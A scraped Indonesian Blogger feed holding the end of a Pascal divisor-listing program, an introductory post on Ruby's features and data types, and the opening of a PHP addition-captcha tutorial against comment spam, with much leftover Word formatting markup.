repeat<br />
</div>
<div style="text-align: justify;">
w:=w+1;<br />
</div>
<div style="text-align: justify;">
e:=x mod w;<br />
</div>
<div style="text-align: justify;">
if e=0 then<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
{menuliskan pembagi & hasil bagi ke konsole dan ke output.txt}<br />
</div>
<div style="text-align: justify;">
g:=x div w;<br />
</div>
<div style="text-align: justify;">
rapikan(w,a);<br />
</div>
<div style="text-align: justify;">
writeln(w,a,'--> ',x,'/',w,'= ',g);<br />
</div>
<div style="text-align: justify;">
writeln(out,w,a,'--> ',x,'/',w,'= ',g);<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
until (w=x);<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
goto k;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
close(out);<br />
</div>
end.Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-69528728764742810482012-10-19T22:38:00.000-07:002012-10-19T22:38:17.182-07:00<h3 class="post-title entry-title">
<a href="http://tutorial-pembelajaran.blogspot.com/2011/02/tutorial-ruby-on-rails.html">Tutorial Ruby on Rails</a>
</h3>
<img alt="Tutorial Ruby" border="0" id="BLOGGER_PHOTO_ID_5573698500400954354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxJfAsNlnFHdZOITnQo7jRGw0H5kPJy0hboA58rRY1EG4Mz5Jhgs8qPVjaVeQFOMhpNLF_iQtpcUeg2_yLOfODMaYZcvF138noBfNrWy2TOGKd6hTa5KUvqadcdCVwApZZGixxxqQsFv-o/s200/ruby.jpg" style="float: right; height: 200px; margin: 0px 0px 10px 10px; width: 182px;" />Ada
yang mengatakan bahwa bahasa Ruby pada saat ini sudah mulai padam. Ada
juga yang mengatakan bahwa baru kali ini bahasa Rubi menjadi <span style="font-style: italic;">favorite</span>
serta sedang banyak digunakan oleh banyak perusahaan yang sedang
berkembang. Saya sendiri tidak mengetahui secara pasti mana dari
pernyataan di atas yang memang benar keadaannya menggambarkan situasi
saat ini. Mulai kali ini hingga beberapa posting selanjutnya, <a href="http://tutorial-pembelajaran.blogspot.com/">Tutorial Pembelajaran</a>
akan membahas mengenai Ruby on Rails. Mulai dari sejarahnya, Ruby
pertama kali dirilis ke publik pada tahun 1995 oleh Yukihiro Matsumoto
(Matz). Menurut lisensi yang ada di Ruby, Ruby merupakan perangkat lunak
yang bebas atau dengan kata lain dapat pula dikatakan bahwa Ruby
merupakan Freeware. Kondisi yang "freeware" alias gratis ini merupakan
salah satu faktor yang dapat membuat para penggunanya tidak berpikir
berlama - lama untuk mencoba berbeda dengan perangkat lunak lainnya yang
disebarkan secara komersial sehingga butuh dana yang cukup untuk
membeli lisensi perangkat lunak tersebut. Apakah benar Ruby freeware???
Lalu kenapa Saya membahasnya bahwa Ruby adalah freeware??? Apakah Saya
salah...,<br /><span class="fullpost"><br />Tutorial kali ini tidak akan membahas <span style="font-weight: bold;">Bagaimana Cara Untuk install Ruby on Rails di Windows</span> dan menjawab pertanyaan di atas itu karena Saya yakin teman - teman sudah mengetahuinya, jadi tak perlu lah Saya bahas<img alt="Big Grin" src="http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" />
Oya, untuk bahasan kali ini belum akan menginjak pada
coding/scripting/sejenisnya, mungkin akan dibahas pada tutorial
selanjutnya..<br /><br />Kembali ke bahasan <span style="font-weight: bold;">Ruby</span>.
Tentu apabila akan menggunakan bahasa pemrograman yang baru, bahasa
pemrograman itu harus mempunyai kelebihan dari bahasa - bahasa
pemrograman yang telah ada serta fitur - fitur yang menarik. Berikut ini
adalah kelebihan serta fitur yang dimiliki oleh Ruby;<br /><br />Kelebihan<br /><ul>
<li>Di <span style="font-style: italic;">Ruby</span>, semua adalah obyek. Artinya setiap informasi dan kode bisa diberi property dan action.</li>
<br />
<li>Ruby bahasa yang fleksibel, karena bagian-bagian dari Ruby bisa diubah-ubah dengan bebas.</li>
<br />
<li>Ruby bisa load library extension secara dinamis.</li>
<br />
<li>Bersifat dynamic-typing.</li>
</ul>
<br /><br />Fitur<br /><ul>
<li><span style="font-weight: bold;">Ruby</span> merupakan bahasa interpreter.</li>
<br />
<li>Sintaks yang sederhana, mudah dipelajari dan dipahami.</li>
<br />
<li>Memiliki fitur-fitur yang menangani exception, seperti Java atau Python, untuk mempermudah menangani error.</li>
<br />
<li>Ruby sangat portable.</li>
<br />
<li>Menulis extension C di Ruby lebih mudah daripada di Perl.</li>
</ul>
<br />Adapun tipe data dasar ruby adalah sebagai berikut;<br /><br />A. Angka<br /><br />Ruby
dapat menangani angka baik yang bertipe integer maupun float. Untuk
tipe data Integer di Ruby, kelas Integer dibagi dalam dua kelas yakni
FixNum dan BigNum. Angka dengan batas -230 sampai 230–1 tergolong dalam
kelas FixNum SELEBIHNYA BigNum. Ruby dapat menggunakan prefiks (awalan)
untuk menandakan arti suatu angka. Contoh : <br />[- utk negatif], [0 utk oktal], [0b utk biner ],<br /><br />B. String<br /><br />Untuk membuat tipe data String, kita dapat menggunakan kutip satu ' ataupun kutip dua "<br /><br />Metode String<br /><ul>
<li>Length : untuk mengetahui panjang suatu string.</li>
<br />
<li>Capitalize : untuk mengubah huruf pertama pada awal kalimat menjadi huruf kapital.</li>
<br />
<li>Downcase : mengubah string menjadi huruf kecil.</li>
<br />
<li>Upcase : mengubah string menjadi huruf besar.</li>
<br />
<li>Swapcase : mengubah objek string dengan huruf kecil diubah menjadi huruf kapital dan sebaliknya.</li>
<br />
<li>Strip : membuang karakter whitespace di awal dan akhir string.</li>
<br />
<li>Reverse : membalikkan string.</li>
<br />
<li>Chop : membuang karakter terakhir dari string.</li>
</ul>
<br /><br />Pada
dasarnya, tipe data Array di Ruby hampir sama dengan tipe data list di
Python. Perbedaannya mungkin hanya pada tata penulisannya saja.<br /><br />Kemiripan
Ruby dan Python antara lain seperti Interaktif, dokumentasi di command
line (pydoc di Python), Tidak ada karakter khusus untuk akhir baris,
Obyek bersifat dinamis dan strongly typed, dan fitur exceptionnya setara
dengan Python.<br /><br />Sementara itu perbedaannya pada Ruby yaitu String
dapat diubah isinya (mutable), tidak ada kelas “new style” dan “old
style” (Cuma ada satu macam kelas menggunakan “mixin”), bukan multiple
inheritance serta beberapa perbedaan lainnya. Silahkan untuk di explore
sendiri ya...<br /><br />Kekurangan pada Ruby tidak akan dibahas pada tutorial ini, Silahkan untuk mencarinya sendiri karena Saya sangat yakin bahwa tidak ada yang sempurna di dunia ini. <br /><br />Sebelum
Saya tutup, ada pernyataan menarik dari teman seperjuangan Saya.
Mungkin teman - teman akan tertarik untuk menanggapinya. Begini
pernyataanya "Buat apa belajar ruby, dibandingkan dengan Java maka Ruby
tidak ada apa - apanya!!!"</span>Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com2tag:blogger.com,1999:blog-2256760488114533969.post-35818325546171819512012-10-19T20:31:00.000-07:002012-10-19T20:31:03.074-07:00captha<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><br />
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves>false</w:TrackMoves>
<w:TrackFormatting/>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>EN-US</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:DontVertAlignCellWithSp/>
<w:DontBreakConstrainedForcedTables/>
<w:DontVertAlignInTxbx/>
<w:Word11KerningPairs/>
<w:CachedColBalance/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:"";
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin-top:0in;
mso-para-margin-right:0in;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0in;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:"Times New Roman";
mso-fareast-theme-font:minor-fareast;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;}
</style>
<![endif]-->
<br />
<blockquote class="tr_bq">
<div class="MsoNormal" style="line-height: normal; text-align: center;">
<span style="font-family: "Courier New",Courier,monospace;"><b><span style="font-size: 18.0pt; mso-fareast-font-family: "Times New Roman";"><a href="http://www.agacry.com/2011/04/membuat-captcha-penjumlahan/" title="Membuat Captcha Penjumlahan"><span style="color: blue;">Membuat Captcha
Penjumlahan</span></a></span></b></span></div>
</blockquote>
<div class="MsoNormal" style="line-height: normal; text-align: center;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Sebelum saya bahas lebih lanjut,
sudah tahukah Anda apa yang dimaksud dengan <b>captcha</b>?</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Tentu Anda sudah pernah menemui
website yang menyediakan suatu form kepada pengunjungnya untuk memberikan
komentar. Karena pengunjung suatu website sangat banyak dan susah untuk
diketahui siapa dia, apakah dia laki-laki atau perempuan, berapa umurnya,
apakah dia orang baik atau bukan, dll, maka kebanyakan website-website yang
menyediakan form untuk mengirim komentar atau pesan ke pemilik website
memberikan fasilitas pencegahan terhadap SPAM. Ya karena kita tidak tahu siapa
saja yang mengunjungi website kita, siapa saja yang melakukan spamming, kalau
kita tahu kan mudah saja ya, tinggal bawa pentungan terus ke rumahnya orang
yang melakukan spamming ke website kita. Hehe <span style="mso-no-proof: yes;"><img alt=":D" border="0" height="15" src="file:///C:\DOCUME~1\CLIENT~1\LOCALS~1\Temp\msohtmlclip1\01\clip_image001.gif" width="15" /></span></span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Spam sangat mudah terjadi di <u>cyberspace</u>
karena beberapa hal seperti yang saya katakan diatas. Nah, untuk meminimalisir terjadinya
spamming, maka para pengembang website membuat suatu alat yang salah satunya
adalah captha. <b>Captcha</b> ini selalu ditempatkan pada suatu form
dimana pengguna <i>Internet</i> mengirimkan sesuatu seperti komentar atau
pesan.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<u><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Captcha</span></u><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> bekerja dengan cara melakukan pengecekan suatu input yang
ada dalam suatu form. Pengecekan tersebut yaitu tentang kesamaan data yang ada
di <i>server</i> dengan yang dimasukkan oleh pengunjung website. Data yang
disamakan ini akan berubah setiap halaman suatu website dimuat ulang (<i>reloaded</i>
/ <i>refreshed</i>). Jadi bisa disimpulkan kalau data yang dijadikan pengecekan
tersimpan pada <b>SESSION</b>.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Dengan cara ini sudah bisa
dipastikan kalau ancaman terhadap<b> spam</b> bisa diminimalisir. Nah,
bagaimana cara membuatnya?</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Sebenarnya banyak sekali website-website
di Internet yang menyediakan captha secara bebas atau gratis alias tinggal
pakai. Tapi disini saya ingin berbagi informasi bagi Anda yang ingin menjadi
webmaster. Disini saya membuat suatu captha penjumlahan dan mungkin Anda sudah
pernah menemui captha yang seperti ini. <span style="mso-no-proof: yes;"><img alt=":)" border="0" height="15" src="file:///C:\DOCUME~1\CLIENT~1\LOCALS~1\Temp\msohtmlclip1\01\clip_image002.gif" width="15" /></span></span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Untuk menjalankannya Anda memerlukan
PHP versi 5 keatas. Oke, pertama siapkan file bernama captha.php dengan isi:</span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
